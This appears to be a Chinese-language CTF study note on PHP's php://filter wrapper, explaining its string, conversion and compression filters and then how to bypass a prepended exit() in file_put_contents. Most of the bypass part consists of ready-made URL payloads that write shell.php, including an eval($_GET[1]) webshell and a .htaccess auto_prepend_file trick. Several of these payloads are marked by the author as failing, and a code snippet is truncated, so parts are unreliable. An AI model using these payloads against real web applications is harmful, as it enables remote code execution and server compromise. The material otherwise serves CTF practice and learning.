- 关于想在phpinfo里面查看php已注册的伪协议以及已注册的过滤器就ctrl+f输入Registered PHP Streams(如果开了中文翻译直接搜)已注册的过滤器就在已注册的php流下面
基本概念
- php://filter是php中独有的一种协议,它是一种过滤器,可以作为一个中间流来过滤其他的数据流。通常使用该协议来读取或者写入部分数据,且在读取和写入之前对数据进行一些过滤,例如base64编码处理,rot13处理等。官方解释为:
php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。
- 下面的测试中index.php写入的是:
结构组成
- php://filter/过滤器|过滤器/resource=待过滤的数据流
- 其中|符号可以分割不同的过滤器,比如这样子就将要进行查询的数据流进行了两次base64编码
php://filter/read=convert.base64-encode|convert.base64-encode/resource=待过滤的数据流
-
php filter的过滤器有很多种,根据官方文档https://www.php.net/manual/zh/filters.php,大致可以分为四类:字符串过滤器、转换过滤器、压缩过滤器、加密过滤器.其中常用过滤器有转换过滤器和字符串过滤器
-
这里resource=待过滤的数据流中的数据流可以简单理解成文件,比如这样将1.txt作为处理对象
php://filter/read=convert.base64-encode/resource=1.txt
- 或者这样,将字符串"miaomiao"作为处理对象
php://filter/read=convert.base64-encode/resource=data://text/plain,miaomiao
- 这两种写法实际上还用到了data协议,需要php.ini文件的allow_url_fopen和allow_url_include都被打开
字符串过滤器
- 以string字符串开头,常见的过滤器有rot13、toupper、tolower、strip_tags等
rot_13
- rot_13将大写(小写)字母后移13位再模26,因为一共有26个大写(小写)字母,所以两次rot_13编码即可得到原数据,它不会处理英文字母以外的字符
# string.rot13即对数据流进行str_rot13函数处理
php://filter/read=string.rot13/resource=文件名
to_upper和to_lower
- to_upper、to_lower是对字符串进行大小写转换处理,它不会处理英文字母以外的字符
php://filter/read=string.toupper/resource=文件名
strip_tags
- strip_tags对数据流进行strip_tags函数的处理,该函数功能为剥去字符串中的 HTML、XML 以及 PHP 的标签,简单理解就是包含有尖括号中的东西。
php://filter/read=string.strip_tags/resource=data://text/plain,<a>s</a>
转换过滤器
- 主要含有三类,分别是base64的编码转换、quoted-printable的编码转换以及iconv字符编码的转换。该类过滤器以convert开头。
base-64
- base64的编码转换操作,这样读取到的流就会被base64进行编码转换
php://filter/read=convert.base64-encode/resource=文件名
(测试出来不管是data协议传入还是读取本地文件,不知道为啥base编码总是少4位,感觉可以出个题目嘿嘿)
Quoted-printable
- Quoted-printable可译为可打印字符引用编码,可以理解为将一些不可打印的ASCII字符进行一个编码转换,转换成=后面跟两个十六进制数.,不可打印的ascll字符有很多,比如下面这些:
- 有时候有的题里面不允许出现等号,也就无法使用这个过滤器了。不过感觉本来就没什么用.
php://filter/read=convert.quoted-printable-encode/resource=文件名
inconv
- iconv过滤器也就是对输入输出的数据进行一个编码转换,其格式为convert.iconv.\
.\ 或者convert.iconv.\ /\ ,表达的意思都是相同的,即将输入的字符串编码转换成输出指定的编码
php://filter/read=convert.iconv.原编码.新编码/resource=文件名
- 有时候因为php版本的问题,使用字符串编码格式转换就会出现转码之后有乱码问题,常见的字符串转编码格式如下:
UCS-4*
UCS-4BE
UCS-4LE*
UCS-2
UCS-2BE
UCS-2LE
UTF-32*
UTF-32BE*
UTF-32LE*
UTF-16*
UTF-16BE*
UTF-16LE*
UTF-7
UTF7-IMAP
UTF-8*
ASCII*
死亡绕过
- 可以写入文件,但是写入的代码前面会被加上exit(),导致写入的代码无法被执行.面对类似于这种情况时,我们需要进行死亡绕过,利用到过滤器来进行一些操作,将输入的字符串中的exit()函数处理掉或者让它失效,从而达到代码执行的目的。
#index.php
<?php
file_put_contents($_GET['a'],"<?php exit();".$_GET['b']);
?>
Base64编码绕过
- Base64在进行解码的时候,是4个字符一组进行解码,也就是说如果构造一个字符串如aaaabTFzbjB3,前面的四个a会被当成一组进行正常解码,后面真正的base64编码也就会正常解码。
- 因此在使用base64编码绕过该限制的时候,需要自己补一些填充符,让前面需要绕过的字符串组合起来长度是4的倍数,因为前面参数解码的字符串只有phpexit(base64自动跳过符号),上述的绕过方式为:
?a=php://filter/write=convert.base64-decode/resource=shell.php
&b=aPD9waHAgcGhwaW5mbygpOz8+
- 这样,a的值使得"<?php exit();".$_GET['b']整体将会受到bese64解码,b的构造使得utf-8编码下的<?php exit();a被当作base64编码下的内容,被解码从而变成乱码,而PD9waHAgcGhwaW5mbygpOz8+被解码成正确的代码,即可实现死亡绕过
rot13绕过
- 方式和base64类似,将payload改为移动13位即可
?a=php://filter/write=string.rot13/resource=shell.php
&b=?><?cuc cucvasb();?>
- 这样会得到下面的shel.php,根据网上的结果来说,得到的结果是没问题的,但是7.3.4的php报错不执行
strip_tags和base64组合绕过
- 先将php exit()用php标签包裹,再使用strip_tags消去标签,使php exit()失去php代码的效果,再进行base64解码。
?a=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
&b=?>PD9waHAgcGhwaW5mbygpOyA/Pg==
预包含.htaccess文件
- 如果知道flag的位置,我们可以写个.htaccess文件来预包含flag,通过闭环php标签,再用strip_tags消除无关内容,然后写入预包含语句即可
?a=php://filter/write=string.strip_tags/resource=.htaccess
&b=?>php_value auto_prepend_file D:\\phpstudy_pro\\WWW\\mmail.txt
(没有成功)
死亡绕过之变量相同
- 相较于普通死亡绕过,这种绕过的题目可能会出现多个相同的参数,类似于以下情况
#index.php
<?php
file_put_contents($_GET['a'],"<?php exit();".$_GET['a']);
?>
无exit
- 没有exit函数,第一处$_GET['a']是文件名,因为文件名对传参有诸多限制,所以还是只能用伪协议,这样,就得在伪协议的语句中插一段php代码
#index.php
<?php
file_put_contents($_GET['a'],$_GET['a']);
?>
- 绕过可以直接使用前面提到过的添加假过滤器的方法,filter协议遇到不认识的过滤器时会报错继续执行,可以将php代码插入到过滤器部分
?a=php://filter/write=/resource=shell.php
rot13绕过
- 思路和无exit差不多,同时还要处理掉原有的exit,加个rot13过滤器,同时将假过滤器也rot13编码好即可
?a=php://filter/write=string.rot13|<?cuc cucvasb();?>/resource=shell.php
(老样子,可能是版本问题,写入正常但运行不了)
iconv字符编码转换
- 这里要用到两种编码
UCS-2:对目标字符串进行2位一组进行反转
UCS-4:对目标字符串进行4位一组进行反转
- payload生成
#两位
";//如果不为偶数,需要补齐至偶数
echo iconv("UCS-2LE","UCS-2BE",$a);
#四位
<?php
$a = "<?php phpinfo();?>aa";//加aa补齐到4位
echo iconv("UCS-4LE","UCS-4BE",$a);
- 日常跑不了,理论上得到payload
两位
?a=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|?<hp phpipfn(o;)>?/resource=shell.php
四位
?a=php://filter/write=convert.iconv.UCS-4LE.UCS-4BE|aa??;)/resource=shell.php
利用压缩过滤器进行绕过
-
使用到zlib.inflate和zlib.deflate,将数据压缩以后再进行解压,而关键就在于如何在解压的时候将exit去掉。
-
在zlib.inflate和zlib.deflate过滤器的中间加上一个字符串转小写,会将exit的压缩信息损坏解压成其他的字串(具体来说会破坏空格的信息),而使用构造的语句压缩都都为小写语句,不会被破坏(不含空格,空格使用url编码的%d代替)
?a=php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[1]);?>/resource=shell.php
(写入成功,但是无法执行)
strip_tags+base64编码绕过
- 这种绕过思路就是:闭合前面的<?php标签,并使用strip_tags进行处理过滤,然后正常base64解码,用base64的原因是strip_tags会把后面我们自己写的php也清除掉
- 这里其实还有一个小trick,就是resource后面的路径,php://filter仍然会将其视作位过滤器进行一个过滤处理,例如:
$content = "php://filter/resource=./convert.base64-encode/../shell.php";
$content = "php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+/../shell.php";
(写入失败)